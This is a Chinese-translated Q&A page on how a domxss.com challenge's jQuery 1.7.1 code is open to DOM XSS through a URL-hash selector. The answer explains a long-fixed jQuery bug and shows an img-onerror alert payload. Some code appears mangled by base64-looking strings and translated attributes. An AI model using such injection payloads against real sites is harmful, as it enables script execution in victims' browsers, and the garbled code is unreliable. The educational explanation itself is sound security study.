How is HTML injection possible in this domxss.com challenge(在这个domxss.com挑战中,HTML注入是如何可能的)
问题描述
OWASP的HTML注入测试页(link)显示了被认为易受HTML注入攻击的特定代码。
<script src="../js/jquery-1.7.1.js"></script>
<script>
function setMessage(){
var t=location.hash.slice(1);
$("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
}
$(document).ready(setMessage );
$(window).bind("hashchange",setMessage)
</script>
<body>
<script src="../js/embed.js"></script>
<span><a href="#message" > Show Here</a><div id="message">Showing Message1</div></span>
<span><a href="#message1" > Show Here</a><div id="message1">Showing Message2</div>
<span><a href="#message2" > Show Here</a><div id="message2">Showing Message3</div>
</body>
此代码是(domxss.com)上的挑战之一,我不确定它是否易受攻击。
据我所知,URL的散列可以用作输入,URL中的任何更改都将触发setMessage
函数。此URL哈希将成为我的有效负载。然而,此有效负载仅用作jQuery中的选择器,而这正是我遇到困难的地方。
我对XSS比较陌生,因此任何有效负载都将不胜感激。显然,欢迎作出解释。
此外,任何通过jQuery更好地了解HTML注入攻击的资源都将是有用的。
jQuery
是的,非常旧的推荐答案版本对来自动态选择器字符串的xss是易受攻击的。参见jQuery的错误跟踪器上的Bug # 11290-如果表述正确,选择器字符串可能会意外地被解释为HTML。如果用户可以提供选择器字符串,您可能会遇到麻烦。
最小示例:
数据-lang="js"数据-隐藏="假"数据-控制台="真"数据-巴贝尔="假">$(`div[class='<img src="IiBvbmVycm9yPWFsZXJ0KA=="evil")>]`).text("The DOM is now loaded and can be manipulated.");
<script src="aHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzEuNy4xL2pxdWVyeS5taW4uanM="></script>
所以,原来的
$("div[id="+t+"]")
可以注入导致运行任意代码的t
。
const t = `'<img src="IiBvbmVycm9yPWFsZXJ0KA=="evil")>]`;
$("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
<script src="aHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzEuNy4xL2pxdWVyeS5taW4uanM="></script>
该错误已在9年前修复,因此,除非您故意使用旧版本的jQuery并且从不更新依赖项,否则它可能不会影响您。
该错误最终由an insufficiently strict regex.引起。
这篇关于在这个domxss.com挑战中,HTML注入是如何可能的的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持编程学习网!
本文标题为:在这个domxss.com挑战中,HTML注入是如何可能的


- 如何使用 JSON 格式的 jQuery AJAX 从 .cfm 页面输出查 2022-01-01
- Flexslider 箭头未正确显示 2022-01-01
- addEventListener 在 IE 11 中不起作用 2022-01-01
- Fetch API 如何获取响应体? 2022-01-01
- 400或500级别的HTTP响应 2022-01-01
- 使用RSelum从网站(报纸档案)中抓取多个网页 2022-09-06
- Css:将嵌套元素定位在父元素边界之外一点 2022-09-07
- Quasar 2+Apollo:错误:找不到ID为默认的Apollo客户端。如果您在组件设置之外,请使用ProvideApolloClient() 2022-01-01
- CSS媒体查询(最大高度)不起作用,但为什么? 2022-01-01
- 失败的 Canvas 360 jquery 插件 2022-01-01